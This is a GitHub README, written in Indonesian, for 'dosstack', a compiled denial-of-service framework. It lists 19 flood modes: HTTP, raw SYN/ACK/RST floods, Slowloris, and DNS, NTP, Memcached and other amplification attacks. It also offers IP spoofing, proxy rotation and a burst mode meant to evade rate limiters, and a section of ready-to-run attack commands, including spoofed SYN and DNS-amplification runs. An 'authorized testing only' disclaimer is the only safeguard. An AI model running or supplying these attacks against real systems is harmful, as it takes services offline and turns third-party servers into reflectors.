Skip to content

IshikawaUta/dosstack

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

9 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

██████╗  ██████╗ ███████╗███████╗████████╗ █████╗  ██████╗██╗  ██╗
██╔══██╗██╔═══██╗██╔════╝██╔════╝╚══██╔══╝██╔══██╗██╔════╝██║ ██╔╝
██║  ██║██║   ██║███████╗███████╗   ██║   ███████║██║     █████╔╝
██║  ██║██║   ██║╚════██║╚════██║   ██║   ██╔══██║██║     ██╔═██╗
██████╔╝╚██████╔╝███████║███████║   ██║   ██║  ██║╚██████╗██║  ██╗
╚═════╝  ╚═════╝ ╚══════╝╚══════╝   ╚═╝   ╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝

By.IshikawaUta — DoS Framework — Authorized Testing Only
Compiled Binary — No Python Required

⚠️ PERINGATAN HUKUM: Alat ini hanya untuk pengujian otorisasi pada sistem yang Anda miliki atau telah mendapatkan izin tertulis. Penyalahgunaan untuk serangan tanpa izin adalah tindak pidana di banyak negara. Penulis tidak bertanggung jawab atas penyalahgunaan.


Fitur

  • 19 mode serangan: HTTP, TCP, UDP, Slowloris, ICMP, TLS, Mixed, SYN/ACK/RST/FIN/SYNACK raw, IP frag, dan 6 amplifikasi (DNS/NTP/SSDP/Memcached/SNMP/CharGEN)
  • 3 engine: Thread pool, epoll event loop (10k+ koneksi), multiprocessing (multi-core)
  • Connection pooling: HTTP keep-alive reuse untuk throughput tinggi
  • Burst mode: Burst lalu idle untuk evade rate limiter
  • Bandwidth control: Batasi outbound traffic (kbps)
  • Multi-target: File daftar target atau CIDR scan (--scan)
  • Spoof IP: Raw socket dengan source IP palsu (root)
  • Proxy rotation: Rotasi proxy otomatis dari file
  • Attack profiles: Simpan/muat konfigurasi
  • Real-time stats: Live dashboard dengan rich
  • Output JSON: Simpan hasil akhir

Instalasi

git clone https://github.com/IshikawaUta/dosstack.git
cd dosstack
chmod +x dosstack-cli dosstack-gui

Binary PyInstaller standalone — tidak perlu Python, rich, atau dependencies apapun.


Penggunaan Dasar

./dosstack-cli <target> -m <mode> -t <threads> -d <duration>
Argumen Deskripsi Default
target IP atau hostname (atau CIDR dengan --scan) wajib
-m, --mode Mode serangan http
-t, --threads Jumlah thread/worker 100
-d, --duration Durasi detik (0 = unlimited) 60
-p, --port Port target 80
--timeout Timeout koneksi (detik) 5

Mode Serangan

Mode Keterangan Root?
http HTTP GET/POST flood
tcp TCP connect flood
udp UDP flood
slowloris Slowloris keep-alive
icmp ICMP echo flood ya
tls TLS handshake flood
mixed Kombinasi acak http/tcp/udp/tls
syn Raw TCP SYN flood ya
ack Raw TCP ACK flood ya
rst Raw TCP RST flood ya
fin Raw TCP FIN flood ya
synack Raw TCP SYN-ACK flood ya
frag IP fragmentation flood ya
dns_amp DNS amplification (port 53)
ntp_amp NTP amplification (port 123)
ssdp_amp SSDP amplification (port 1900)
memcache_amp Memcached amplification (port 11211)
snmp_amp SNMP amplification (port 161)
chargen_amp CharGEN amplification (port 19)

Engine

Tiga engine yang bisa dipilih:

Engine Flag Keunggulan Use Case
Thread pool (default) Stabil, kompatibel Serangan umum ≤1000 threads
Epoll event loop --epoll 10k+ koneksi simultan HTTP flood massive
Multiprocessing --mp --processes N Multi-core Distributed attack
AsyncIO --workers async Non-blocking I/O Banyak koneksi idle (slowloris)

Contoh Engine

# Thread pool (default)
./dosstack-cli target.com -m http -t 500 -d 60

# Epoll event loop — 10k+ koneksi
./dosstack-cli target.com -m http -t 2000 -d 120 --epoll

# Multiprocessing — semua core
./dosstack-cli target.com -m http --mp -t 2000 -d 60

# Multiprocessing — 4 proses spesifik
./dosstack-cli target.com -m http --mp --processes 4 -t 1000

# AsyncIO workers
./dosstack-cli target.com -m http --workers async --concurrency 2000 -d 60

Opsi Detail

Opsi HTTP

Argumen Deskripsi
--path /login Path HTTP
--random-path Path acak tiap request
--method POST Metode HTTP (GET/POST/HEAD/PUT/OPTIONS)
--body '{"x":1}' Body untuk POST/PUT
--no-agent Nonaktifkan User-Agent acak
--no-referer Nonaktifkan Referer acak
--header "X-Custom: val" Custom header (bisa diulang)

Opsi Raw TCP (root required)

Argumen Deskripsi
--tcp-flag syn TCP flag (syn/ack/rst/fin/synack)
--frag-size 24 Ukuran payload fragment
--spoof-ip 1.2.3.4 IP sumber palsu

Opsi Amplifikasi

Argumen Deskripsi
--amp-proto dns Protokol amplifikasi
--dns-server 8.8.8.8 DNS server target
--packet-count 10 Packet per burst

Opsi Slowloris

Argumen Deskripsi
--slowloris-sockets 400 Maks socket per worker
--keepalive-interval 10 Interval keepalive (detik)

Opsi Mixed

Argumen Deskripsi
--weights 25 25 25 25 Bobot HTTP TCP UDP TLS

Performance

Argumen Deskripsi
--reuse-conn HTTP keep-alive connection reuse
--pool-size 200 Ukuran connection pool
--ramp-up 10 Ramp-up gradual (detik)
--concurrency 500 Concurrency untuk async workers

Evasion & Traffic Shaping

Argumen Deskripsi
--interval 0.1 Delay antar request (detik)
--jitter 0.5 Jitter acak untuk interval
--burst Burst mode
--burst-size 100 Request per burst
--burst-interval 2 Durasi burst (detik)
--idle-interval 1 Idle antar burst (detik)
--max-kbps 500 Batas bandwidth

Proxy

Argumen Deskripsi
--proxy-file proxies.txt File daftar proxy (satu per baris: ip:port atau user:pass@ip:port)
--proxy-rotate 10 Rotasi tiap N request

Multi-target

Argumen Deskripsi
--targets-file list.txt Target dari file (satu per baris)
--scan Expand CIDR (contoh: 10.0.0.0/24)

Output & Logging

Argumen Deskripsi
--output hasil.json Simpan statistik ke JSON
--log-file attack.log Log ke file
--log-level DEBUG Level logging
--quiet Minimal output

Profile & Config

Argumen Deskripsi
--profile-save heavy Simpan argumen sebagai profile
--profile-load heavy Muat profile
--profile-list Lihat daftar profile
--profile-delete heavy Hapus profile
--config-save Simpan konfigurasi
--config-load Muat konfigurasi

Kombinasi Siap Pakai

HTTP Flood — 500 thread, 60 detik

./dosstack-cli target.com -m http -t 500 -d 60 --random-path --header "X-Bypass: 1"

HTTP Epoll — 2000 thread, connection reuse

./dosstack-cli target.com -m http -t 2000 -d 120 --epoll --reuse-conn --pool-size 500

TLS Handshake — HTTPS

./dosstack-cli target.com -m tls -p 443 -t 200 -d 60

Slowloris — 400 socket

./dosstack-cli target.com -m slowloris -t 200 -d 300 --slowloris-sockets 400 --keepalive-interval 10

Mixed — multiprocessing 4 core

./dosstack-cli target.com -m mixed -t 2000 -d 60 --mp --processes 4 --weights 25 25 25 25

SYN Flood — spoof IP (root)

sudo ./dosstack-cli target.com -m syn -t 10 -d 30 --spoof-ip 192.168.1.1

DNS Amplification — spoof (root)

sudo ./dosstack-cli target.com -m dns_amp -p 53 -t 5 -d 30 --spoof-ip 1.2.3.4

Burst Mode — evade rate limiter

./dosstack-cli target.com -m http -t 100 -d 120 --burst --burst-size 50 --burst-interval 1 --idle-interval 2

Bandwidth Controlled — 100 kbps

./dosstack-cli target.com -m tcp -t 100 -d 60 --max-kbps 100

Async Workers — unlimited duration

./dosstack-cli target.com -m http --workers async --concurrency 2000 -d 0

Multi-target — CIDR scan

./dosstack-cli 10.0.0.0/28 -m http --scan -t 200 -d 30 --epoll

Proxy Rotation

./dosstack-cli target.com -m http -t 100 -d 60 --proxy-file proxies.txt --proxy-rotate 10

Screenshots

About

DoS testing framework with 19 attack modes, 3 engines (thread/epoll/multiprocessing), connection pooling, burst mode, bandwidth control, proxy rotation, multi-target, and spoof IP. Compiled standalone binary — no Python required.

Topics

Resources

License

Stars

1 star

Watchers

0 watching

Forks

Releases

No releases published

Packages

 
 
 

Contributors